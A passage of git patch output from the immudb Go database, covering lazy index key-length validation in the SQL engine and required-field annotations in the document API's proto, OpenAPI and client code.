+ lazyIndexConstraintValidation bool multidbHandler MultiDBHandler } @@ -65,6 +66,11 @@ func (opts *Options) WithAutocommit(autocommit bool) *Options { return opts } +func (opts *Options) WithLazyIndexConstraintValidation(lazyIndexConstraintValidation bool) *Options { + opts.lazyIndexConstraintValidation = lazyIndexConstraintValidation + return opts +} + func (opts *Options) WithMultiDBHandler(multidbHandler MultiDBHandler) *Options { opts.multidbHandler = multidbHandler return opts diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 85b32299f7..9b116263b0 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -218,7 +218,7 @@ func keyReaderSpecFrom(sqlPrefix []byte, table *Table, scanSpecs *ScanSpecs) (sp if colRange.hRange == nil { hiKeyReady = true } else { - encVal, err := EncodeValueAsKey(colRange.hRange.val, col.colType, col.MaxLen()) + encVal, _, err := EncodeValueAsKey(colRange.hRange.val, col.colType, col.MaxLen()) if err != nil { return nil, err } @@ -230,7 +230,7 @@ func keyReaderSpecFrom(sqlPrefix []byte, table *Table, scanSpecs *ScanSpecs) (sp if colRange.lRange == nil { loKeyReady = true } else { - encVal, err := EncodeValueAsKey(colRange.lRange.val, col.colType, col.MaxLen()) + encVal, _, err := EncodeValueAsKey(colRange.lRange.val, col.colType, col.MaxLen()) if err != nil { return nil, err } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index ad5d65267f..9b62616561 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -389,7 +389,7 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, err } - if variableSized(col.colType) && (col.MaxLen() == 0 || col.MaxLen() > MaxKeyLen) { + if variableSizedType(col.colType) && !tx.engine.lazyIndexConstraintValidation && col.MaxLen() > MaxKeyLen { return nil, fmt.Errorf("%w: can not create index using column '%s'. Max key length for variable columns is %d", ErrLimitedKeyType, col.colName, MaxKeyLen) } @@ -398,7 +398,7 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s colIDs[i] = col.id } - if indexKeyLen > MaxKeyLen { + if !tx.engine.lazyIndexConstraintValidation && indexKeyLen > MaxKeyLen { return nil, fmt.Errorf("%w: can not create index using columns '%v'. Max key length is %d", ErrLimitedKeyType, stmt.cols, MaxKeyLen) } @@ -822,20 +822,32 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m encodedValues[1] = EncodeID(table.id) encodedValues[2] = EncodeID(index.id) + indexKeyLen := 0 + for i, col := range index.cols { rval, specified := valuesByColID[col.id] if !specified { rval = &NullValue{t: col.colType} } - encVal, err := EncodeValueAsKey(rval, col.colType, col.MaxLen()) + encVal, n, err := EncodeValueAsKey(rval, col.colType, col.MaxLen()) if err != nil { return fmt.Errorf("%w: index on '%s' and column '%s'", err, index.Name(), col.colName) } + if n > MaxKeyLen { + return fmt.Errorf("%w: can not index entry for column '%s'. Max key length for variable columns is %d", ErrLimitedKeyType, col.colName, MaxKeyLen) + } + + indexKeyLen += n + encodedValues[i+3] = encVal } + if indexKeyLen > MaxKeyLen { + return fmt.Errorf("%w: can not index entry using columns '%v'. Max key length is %d", ErrLimitedKeyType, index.cols, MaxKeyLen) + } + mkey := mapKey(tx.sqlPrefix(), prefix, encodedValues...) if index.IsUnique() { @@ -867,23 +879,35 @@ func EncodedPK(table *Table, valuesByColID map[uint32]TypedValue) ([]byte, error func encodedPK(table *Table, valuesByColID map[uint32]TypedValue) ([]byte, error) { valbuf := bytes.Buffer{} + indexKeyLen := 0 + for _, col := range table.primaryIndex.cols { rval, specified := valuesByColID[col.id] if !specified || rval.IsNull() { return nil, ErrPKCanNotBeNull } - encVal, err := EncodeValueAsKey(rval, col.colType, col.MaxLen()) + encVal, n, err := EncodeValueAsKey(rval, col.colType, col.MaxLen()) if err != nil { return nil, fmt.Errorf("%w: primary index of table '%s' and column '%s'", err, table.name, col.colName) } + if n > MaxKeyLen { + return nil, fmt.Errorf("%w: invalid primary key entry for column '%s'. Max key length for variable columns is %d", ErrLimitedKeyType, col.colName, MaxKeyLen) + } + + indexKeyLen += n + _, err = valbuf.Write(encVal) if err != nil { return nil, err } } + if indexKeyLen > MaxKeyLen { + return nil, fmt.Errorf("%w: invalid primary key entry using columns '%v'. Max key length is %d", ErrLimitedKeyType, table.primaryIndex.cols, MaxKeyLen) + } + return valbuf.Bytes(), nil } @@ -966,7 +990,7 @@ func (tx *SQLTx) deprecateIndexEntries( sameIndexKey = sameIndexKey && r == 0 - encVal, _ := EncodeValueAsKey(currVal, col.colType, col.MaxLen()) + encVal, _, _ := EncodeValueAsKey(currVal, col.colType, col.MaxLen()) encodedValues[i+3] = encVal } @@ -1274,7 +1298,7 @@ func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]T val = &NullValue{t: col.colType} } - encVal, _ := EncodeValueAsKey(val, col.colType, col.MaxLen()) + encVal, _, _ := EncodeValueAsKey(val, col.colType, col.MaxLen()) encodedValues[i+3] = encVal } From 7f09580f81fdf7a5d5a82e8b21763a72ac1193df Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 12 May 2023 11:51:30 -0300 Subject: [PATCH 0545/1062] chore(embedded/document): leverage sqlengine lazy index contraint evaluation Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 8 ++++++-- pkg/client/sql.go | 2 +- pkg/database/sql.go | 2 +- pkg/verification/verification.go | 2 +- 4 files changed, 9 insertions(+), 5 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 943ef67d73..cabd1bcb1e 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -51,7 +51,11 @@ func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { return nil, err } - engine, err := sql.NewEngine(store, sql.DefaultOptions().WithPrefix(opts.prefix)) + sqlOpts := sql.DefaultOptions(). + WithPrefix(opts.prefix). + WithLazyIndexConstraintValidation(true) + + engine, err := sql.NewEngine(store, sqlOpts) if err != nil { return nil, err } @@ -936,7 +940,7 @@ func (e *Engine) getKeyForDocument(ctx context.Context, sqlTx *sql.SQLTx, collec valbuf := bytes.Buffer{} rval := sql.NewBlob(documentID[:]) - encVal, err := sql.EncodeRawValueAsKey(rval.RawValue(), sql.BLOBType, MaxDocumentIDLength) + encVal, _, err := sql.EncodeRawValueAsKey(rval.RawValue(), sql.BLOBType, MaxDocumentIDLength) if err != nil { return nil, err } diff --git a/pkg/client/sql.go b/pkg/client/sql.go index 62ad1ececb..dd36e2a879 100644 --- a/pkg/client/sql.go +++ b/pkg/client/sql.go @@ -157,7 +157,7 @@ func (c *immuClient) VerifyRow(ctx context.Context, row *schema.Row, table strin return sql.ErrCorruptedData } - pkEncVal, err := sql.EncodeRawValueAsKey(schema.RawValue(pkVal), pkType, int(pkLen)) + pkEncVal, _, err := sql.EncodeRawValueAsKey(schema.RawValue(pkVal), pkType, int(pkLen)) if err != nil { return err } diff --git a/pkg/database/sql.go b/pkg/database/sql.go index fed78cdeeb..a526b837eb 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -64,7 +64,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR } for i, pkCol := range table.PrimaryIndex().Cols() { - pkEncVal, err := sql.EncodeRawValueAsKey(schema.RawValue(req.SqlGetRequest.PkValues[i]), pkCol.Type(), pkCol.MaxLen()) + pkEncVal, _, err := sql.EncodeRawValueAsKey(schema.RawValue(req.SqlGetRequest.PkValues[i]), pkCol.Type(), pkCol.MaxLen()) if err != nil { return nil, err } diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index bee4eb2eef..e7e328991c 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -218,7 +218,7 @@ func encodedKeyForDocument(collectionID uint32, documentID string) ([]byte, erro valbuf := bytes.Buffer{} rval := sql.NewBlob(docID[:]) - encVal, err := sql.EncodeRawValueAsKey(rval.RawValue(), sql.BLOBType, document.MaxDocumentIDLength) + encVal, _, err := sql.EncodeRawValueAsKey(rval.RawValue(), sql.BLOBType, document.MaxDocumentIDLength) if err != nil { return nil, err } From 9abd6562b99defe288d7c5fe1731ab1557282c9e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 12 May 2023 13:58:03 -0300 Subject: [PATCH 0546/1062] chore(pkg/api): annotate required fields Signed-off-by: Jeronimo Irazabal --- pkg/api/httpclient/client.go | 46 +- pkg/api/openapi/apidocs.swagger.json | 78 +- pkg/api/proto/documents.proto | 148 +++- pkg/api/protomodel/documents.pb.go | 1000 +++++++++++++------------- 4 files changed, 740 insertions(+), 532 deletions(-) diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index f9395fe014..69d164c813 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -57,11 +57,11 @@ type ImmudbmodelOpenSessionResponse struct { // ModelAuditDocumentRequest defines model for modelAuditDocumentRequest. type ModelAuditDocumentRequest struct { - Collection *string `json:"collection,omitempty"` - Desc *bool `json:"desc,omitempty"` - DocumentId *string `json:"documentId,omitempty"` - Page *int64 `json:"page,omitempty"` - PageSize *int64 `json:"pageSize,omitempty"` + Collection string `json:"collection"` + Desc *bool `json:"desc,omitempty"` + DocumentId string `json:"documentId"` + Page int64 `json:"page"` + PageSize int64 `json:"pageSize"` } // ModelAuditDocumentResponse defines model for modelAuditDocumentResponse. @@ -91,7 +91,7 @@ type ModelCreateCollectionRequest struct { DocumentIdFieldName *string `json:"documentIdFieldName,omitempty"` Fields *[]ModelField `json:"fields,omitempty"` Indexes *[]ModelIndex `json:"indexes,omitempty"` - Name *string `json:"name,omitempty"` + Name string `json:"name"` } // ModelCreateCollectionResponse defines model for modelCreateCollectionResponse. @@ -99,7 +99,7 @@ type ModelCreateCollectionResponse = map[string]interface{} // ModelCreateIndexRequest defines model for modelCreateIndexRequest. type ModelCreateIndexRequest struct { - Collection *string `json:"collection,omitempty"` + Collection string `json:"collection"` Fields *[]string `json:"fields,omitempty"` IsUnique *bool `json:"isUnique,omitempty"` } @@ -112,7 +112,7 @@ type ModelDeleteCollectionResponse = map[string]interface{} // ModelDeleteDocumentsRequest defines model for modelDeleteDocumentsRequest. type ModelDeleteDocumentsRequest struct { - Query *ModelQuery `json:"query,omitempty"` + Query ModelQuery `json:"query"` } // ModelDeleteDocumentsResponse defines model for modelDeleteDocumentsResponse. @@ -120,7 +120,7 @@ type ModelDeleteDocumentsResponse = map[string]interface{} // ModelDeleteIndexRequest defines model for modelDeleteIndexRequest. type ModelDeleteIndexRequest struct { - Collection *string `json:"collection,omitempty"` + Collection string `json:"collection"` Fields *[]string `json:"fields,omitempty"` } @@ -143,15 +143,15 @@ type ModelDocumentMetadata struct { // ModelField defines model for modelField. type ModelField struct { - Name *string `json:"name,omitempty"` - Type *ModelFieldType `json:"type,omitempty"` + Name string `json:"name"` + Type ModelFieldType `json:"type"` } // ModelFieldComparison defines model for modelFieldComparison. type ModelFieldComparison struct { - Field *string `json:"field,omitempty"` - Operator *ModelComparisonOperator `json:"operator,omitempty"` - Value interface{} `json:"value,omitempty"` + Field string `json:"field"` + Operator ModelComparisonOperator `json:"operator"` + Value interface{} `json:"value,omitempty"` } // ModelFieldType defines model for modelFieldType. @@ -175,7 +175,7 @@ type ModelIndex struct { // ModelInsertDocumentsRequest defines model for modelInsertDocumentsRequest. type ModelInsertDocumentsRequest struct { - Collection *string `json:"collection,omitempty"` + Collection string `json:"collection"` Documents *[]map[string]interface{} `json:"documents,omitempty"` } @@ -193,14 +193,14 @@ type ModelKeepAliveResponse = map[string]interface{} // ModelOrderByClause defines model for modelOrderByClause. type ModelOrderByClause struct { - Desc *bool `json:"desc,omitempty"` - Field *string `json:"field,omitempty"` + Desc bool `json:"desc"` + Field string `json:"field"` } // ModelProofDocumentRequest defines model for modelProofDocumentRequest. type ModelProofDocumentRequest struct { - Collection *string `json:"collection,omitempty"` - DocumentId *string `json:"documentId,omitempty"` + Collection string `json:"collection"` + DocumentId string `json:"documentId"` ProofSinceTransactionId *string `json:"proofSinceTransactionId,omitempty"` TransactionId *string `json:"transactionId,omitempty"` } @@ -216,7 +216,7 @@ type ModelProofDocumentResponse struct { // ModelQuery defines model for modelQuery. type ModelQuery struct { - Collection *string `json:"collection,omitempty"` + Collection string `json:"collection"` Expressions *[]ModelQueryExpression `json:"expressions,omitempty"` Limit *int64 `json:"limit,omitempty"` OrderBy *[]ModelOrderByClause `json:"orderBy,omitempty"` @@ -230,7 +230,7 @@ type ModelQueryExpression struct { // ModelReplaceDocumentsRequest defines model for modelReplaceDocumentsRequest. type ModelReplaceDocumentsRequest struct { Document *map[string]interface{} `json:"document,omitempty"` - Query *ModelQuery `json:"query,omitempty"` + Query ModelQuery `json:"query"` } // ModelReplaceDocumentsResponse defines model for modelReplaceDocumentsResponse. @@ -240,8 +240,8 @@ type ModelReplaceDocumentsResponse struct { // ModelSearchDocumentsRequest defines model for modelSearchDocumentsRequest. type ModelSearchDocumentsRequest struct { - Page *int64 `json:"page,omitempty"` - PageSize *int64 `json:"pageSize,omitempty"` + Page int64 `json:"page"` + PageSize int64 `json:"pageSize"` Query *ModelQuery `json:"query,omitempty"` SearchId *string `json:"searchId,omitempty"` } diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index f05145b899..db9fe0b128 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -567,7 +567,13 @@ "type": "integer", "format": "int64" } - } + }, + "required": [ + "collection", + "documentId", + "page", + "pageSize" + ] }, "modelAuditDocumentResponse": { "type": "object", @@ -644,7 +650,10 @@ "$ref": "#/definitions/modelIndex" } } - } + }, + "required": [ + "name" + ] }, "modelCreateCollectionResponse": { "type": "object" @@ -664,7 +673,10 @@ "isUnique": { "type": "boolean" } - } + }, + "required": [ + "collection" + ] }, "modelCreateIndexResponse": { "type": "object" @@ -678,7 +690,10 @@ "query": { "$ref": "#/definitions/modelQuery" } - } + }, + "required": [ + "query" + ] }, "modelDeleteDocumentsResponse": { "type": "object" @@ -695,7 +710,10 @@ "type": "string" } } - } + }, + "required": [ + "collection" + ] }, "modelDeleteIndexResponse": { "type": "object" @@ -739,7 +757,11 @@ "type": { "$ref": "#/definitions/modelFieldType" } - } + }, + "required": [ + "name", + "type" + ] }, "modelFieldComparison": { "type": "object", @@ -751,7 +773,11 @@ "$ref": "#/definitions/modelComparisonOperator" }, "value": {} - } + }, + "required": [ + "field", + "operator" + ] }, "modelFieldType": { "type": "string", @@ -808,7 +834,10 @@ "type": "object" } } - } + }, + "required": [ + "collection" + ] }, "modelInsertDocumentsResponse": { "type": "object", @@ -840,7 +869,11 @@ "desc": { "type": "boolean" } - } + }, + "required": [ + "field", + "desc" + ] }, "modelProofDocumentRequest": { "type": "object", @@ -859,7 +892,11 @@ "type": "string", "format": "uint64" } - } + }, + "required": [ + "collection", + "documentId" + ] }, "modelProofDocumentResponse": { "type": "object", @@ -905,7 +942,10 @@ "type": "integer", "format": "int64" } - } + }, + "required": [ + "collection" + ] }, "modelQueryExpression": { "type": "object", @@ -927,7 +967,10 @@ "document": { "type": "object" } - } + }, + "required": [ + "query" + ] }, "modelReplaceDocumentsResponse": { "type": "object", @@ -957,7 +1000,11 @@ "type": "integer", "format": "int64" } - } + }, + "required": [ + "page", + "pageSize" + ] }, "modelSearchDocumentsResponse": { "type": "object", @@ -979,7 +1026,10 @@ "documentIdFieldName": { "type": "string" } - } + }, + "required": [ + "name" + ] }, "modelUpdateCollectionResponse": { "type": "object" diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 50dc1b0c68..b7742e361a 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -49,6 +49,14 @@ option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { }; message CreateCollectionRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "name" + ] + } + }; + string name = 1; string documentIdFieldName = 2; repeated Field fields = 3; @@ -58,6 +66,15 @@ message CreateCollectionRequest { message CreateCollectionResponse {} message Field { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "name", + "type" + ] + } + }; + string name = 1; FieldType type = 2; } @@ -75,6 +92,14 @@ message Index { } message GetCollectionRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "name" + ] + } + }; + string name = 1; } @@ -96,12 +121,28 @@ message GetCollectionsResponse { } message DeleteCollectionRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "name" + ] + } + }; + string name = 1; } message DeleteCollectionResponse {} message UpdateCollectionRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "name" + ] + } + }; + string name = 1; string documentIdFieldName = 2; } @@ -109,6 +150,14 @@ message UpdateCollectionRequest { message UpdateCollectionResponse {} message CreateIndexRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "collection" + ] + } + }; + string collection = 1; repeated string fields = 2; bool isUnique = 3; @@ -117,6 +166,14 @@ message CreateIndexRequest { message CreateIndexResponse {} message DeleteIndexRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "collection" + ] + } + }; + string collection = 1; repeated string fields = 2; } @@ -124,6 +181,14 @@ message DeleteIndexRequest { message DeleteIndexResponse {} message InsertDocumentsRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "collection" + ] + } + }; + string collection = 1; repeated google.protobuf.Struct documents = 2; } @@ -134,6 +199,14 @@ message InsertDocumentsResponse { } message ReplaceDocumentsRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "query" + ] + } + }; + Query query = 1; google.protobuf.Struct document = 2; } @@ -142,7 +215,30 @@ message ReplaceDocumentsResponse { repeated DocumentAtRevision revisions = 1; } +message DeleteDocumentsRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "query" + ] + } + }; + + Query query = 1; +} + +message DeleteDocumentsResponse {} + message SearchDocumentsRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "page", + "pageSize" + ] + } + }; + string searchId = 1; Query query = 2; uint32 page = 3; @@ -150,6 +246,14 @@ message SearchDocumentsRequest { } message Query { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "collection" + ] + } + }; + string collection = 1; repeated QueryExpression expressions = 2; repeated OrderByClause orderBy = 3; @@ -161,6 +265,15 @@ message QueryExpression { } message FieldComparison { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "field", + "operator" + ] + } + }; + string field = 1; ComparisonOperator operator = 2; google.protobuf.Value value = 3; @@ -178,6 +291,15 @@ enum ComparisonOperator { } message OrderByClause { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "field", + "desc" + ] + } + }; + string field = 1; bool desc = 2; } @@ -200,6 +322,17 @@ message DocumentMetadata { } message AuditDocumentRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "collection", + "documentId", + "page", + "pageSize" + ] + } + }; + string collection = 1; string documentId = 2; bool desc = 3; @@ -212,6 +345,15 @@ message AuditDocumentResponse { } message ProofDocumentRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "collection", + "documentId" + ] + } + }; + string collection = 1; string documentId = 2; uint64 transactionId = 3; @@ -226,12 +368,6 @@ message ProofDocumentResponse { schema.VerifiableTxV2 verifiableTx = 5; } -message DeleteDocumentsRequest { - Query query = 1; -} - -message DeleteDocumentsResponse {} - service DocumentService { rpc CreateCollection(CreateCollectionRequest) returns (CreateCollectionResponse) { option (google.api.http) = { diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 1854534ee6..09748a21ce 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -1208,6 +1208,91 @@ func (x *ReplaceDocumentsResponse) GetRevisions() []*DocumentAtRevision { return nil } +type DeleteDocumentsRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Query *Query `protobuf:"bytes,1,opt,name=query,proto3" json:"query,omitempty"` +} + +func (x *DeleteDocumentsRequest) Reset() { + *x = DeleteDocumentsRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[21] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DeleteDocumentsRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DeleteDocumentsRequest) ProtoMessage() {} + +func (x *DeleteDocumentsRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[21] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DeleteDocumentsRequest.ProtoReflect.Descriptor instead. +func (*DeleteDocumentsRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{21} +} + +func (x *DeleteDocumentsRequest) GetQuery() *Query { + if x != nil { + return x.Query + } + return nil +} + +type DeleteDocumentsResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *DeleteDocumentsResponse) Reset() { + *x = DeleteDocumentsResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documents_proto_msgTypes[22] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DeleteDocumentsResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DeleteDocumentsResponse) ProtoMessage() {} + +func (x *DeleteDocumentsResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[22] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DeleteDocumentsResponse.ProtoReflect.Descriptor instead. +func (*DeleteDocumentsResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{22} +} + type SearchDocumentsRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1222,7 +1307,7 @@ type SearchDocumentsRequest struct { func (x *SearchDocumentsRequest) Reset() { *x = SearchDocumentsRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[21] + mi := &file_documents_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1235,7 +1320,7 @@ func (x *SearchDocumentsRequest) String() string { func (*SearchDocumentsRequest) ProtoMessage() {} func (x *SearchDocumentsRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[21] + mi := &file_documents_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1248,7 +1333,7 @@ func (x *SearchDocumentsRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SearchDocumentsRequest.ProtoReflect.Descriptor instead. func (*SearchDocumentsRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{21} + return file_documents_proto_rawDescGZIP(), []int{23} } func (x *SearchDocumentsRequest) GetSearchId() string { @@ -1293,7 +1378,7 @@ type Query struct { func (x *Query) Reset() { *x = Query{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[22] + mi := &file_documents_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1306,7 +1391,7 @@ func (x *Query) String() string { func (*Query) ProtoMessage() {} func (x *Query) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[22] + mi := &file_documents_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1319,7 +1404,7 @@ func (x *Query) ProtoReflect() protoreflect.Message { // Deprecated: Use Query.ProtoReflect.Descriptor instead. func (*Query) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{22} + return file_documents_proto_rawDescGZIP(), []int{24} } func (x *Query) GetCollection() string { @@ -1361,7 +1446,7 @@ type QueryExpression struct { func (x *QueryExpression) Reset() { *x = QueryExpression{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[23] + mi := &file_documents_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1374,7 +1459,7 @@ func (x *QueryExpression) String() string { func (*QueryExpression) ProtoMessage() {} func (x *QueryExpression) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[23] + mi := &file_documents_proto_msgTypes[25] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1387,7 +1472,7 @@ func (x *QueryExpression) ProtoReflect() protoreflect.Message { // Deprecated: Use QueryExpression.ProtoReflect.Descriptor instead. func (*QueryExpression) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{23} + return file_documents_proto_rawDescGZIP(), []int{25} } func (x *QueryExpression) GetFieldComparisons() []*FieldComparison { @@ -1410,7 +1495,7 @@ type FieldComparison struct { func (x *FieldComparison) Reset() { *x = FieldComparison{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[24] + mi := &file_documents_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1423,7 +1508,7 @@ func (x *FieldComparison) String() string { func (*FieldComparison) ProtoMessage() {} func (x *FieldComparison) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[24] + mi := &file_documents_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1436,7 +1521,7 @@ func (x *FieldComparison) ProtoReflect() protoreflect.Message { // Deprecated: Use FieldComparison.ProtoReflect.Descriptor instead. func (*FieldComparison) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{24} + return file_documents_proto_rawDescGZIP(), []int{26} } func (x *FieldComparison) GetField() string { @@ -1472,7 +1557,7 @@ type OrderByClause struct { func (x *OrderByClause) Reset() { *x = OrderByClause{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[25] + mi := &file_documents_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1485,7 +1570,7 @@ func (x *OrderByClause) String() string { func (*OrderByClause) ProtoMessage() {} func (x *OrderByClause) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[25] + mi := &file_documents_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1498,7 +1583,7 @@ func (x *OrderByClause) ProtoReflect() protoreflect.Message { // Deprecated: Use OrderByClause.ProtoReflect.Descriptor instead. func (*OrderByClause) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{25} + return file_documents_proto_rawDescGZIP(), []int{27} } func (x *OrderByClause) GetField() string { @@ -1527,7 +1612,7 @@ type SearchDocumentsResponse struct { func (x *SearchDocumentsResponse) Reset() { *x = SearchDocumentsResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[26] + mi := &file_documents_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1540,7 +1625,7 @@ func (x *SearchDocumentsResponse) String() string { func (*SearchDocumentsResponse) ProtoMessage() {} func (x *SearchDocumentsResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[26] + mi := &file_documents_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1553,7 +1638,7 @@ func (x *SearchDocumentsResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use SearchDocumentsResponse.ProtoReflect.Descriptor instead. func (*SearchDocumentsResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{26} + return file_documents_proto_rawDescGZIP(), []int{28} } func (x *SearchDocumentsResponse) GetSearchId() string { @@ -1585,7 +1670,7 @@ type DocumentAtRevision struct { func (x *DocumentAtRevision) Reset() { *x = DocumentAtRevision{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[27] + mi := 